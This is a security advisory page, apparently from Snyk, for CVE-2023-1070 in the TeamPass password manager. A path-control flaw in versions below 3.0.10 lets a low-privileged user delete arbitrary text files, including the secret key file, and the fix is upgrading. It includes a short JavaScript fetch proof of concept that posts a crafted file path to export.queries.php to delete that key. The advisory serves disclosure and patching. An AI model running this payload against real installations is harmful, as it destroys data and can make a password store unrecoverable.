External Control of File Name or Path Affecting nilsteampassnet/teampass package, versions >=0.0.0, <3.0.10


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (36th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-NILSTEAMPASSNETTEAMPASS-3333095
  • published28 Feb 2023
  • disclosed28 Feb 2023
  • creditSonia Zorba

Introduced: 28 Feb 2023

CVE-2023-1070  (opens in a new tab)
CWE-73  (opens in a new tab)

How to fix?

Upgrade nilsteampassnet/teampass to version 3.0.10 or higher.

Overview

nilsteampassnet/teampass is a password manager.

Affected versions of this package are vulnerable to External Control of File Name or Path that allows a low-privileged user to delete arbitrary text files, including teampass-seckey.txt, whose removal could trigger an unrecoverable crash.

PoC

fetch('http://localhost/teampass/sources/export.queries.php', {
    method: 'POST',
    credentials: 'include',
    body: new URLSearchParams({
        type: 'export_to_html_format_finalize',
        file: '/var/teampass/teampass-seckey',
        pdf_password: 'GoodbyeSecretKey'
    }),
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
})

References

CVSS Scores

version 3.1